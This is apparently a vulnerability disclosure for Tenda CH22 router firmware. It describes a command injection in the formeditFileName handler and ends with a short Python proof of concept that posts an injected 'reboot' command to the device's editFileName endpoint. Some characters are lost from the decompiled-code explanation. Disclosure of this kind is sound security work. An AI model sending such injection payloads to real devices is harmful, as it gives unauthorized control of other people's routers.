Overview

Affected version

CH22 V1.0.0.1

Vulnerability details

The Tenda CH22 V1.0.0.1 firmware has a command injection vulnerability in the formeditFileName function. The src variable receives the editNameMit parameter from a POST request and is later passed to the strcpy function. In this function, the src variable is passed as the s parameter.

image.png

The s parameter is used in a chain of strchr() calls to locate delimiter characters (''): v12 = strchr(s, 42); and v11 = strchr(v12 + 1, 42); . The content following the second '' (i.e., v11 + 1) is then copied into the v7 buffer via strcpy(v7, v11 + 1);.

image.png

However, since the Since user can control the input of src, the statemeant doSystemCmd("/usr/sbin/EditDiskDir %s edit '%s' '%s' ", dest, v8, v7); can cause a command injection.

PoC

import requests

ip = "192.168.1.1"

url = f'http://{ip}/goform/editFileName'
payload = '**；reboot'

data = {"editNameMit": payload}

requests.post(url, data=data)

image.png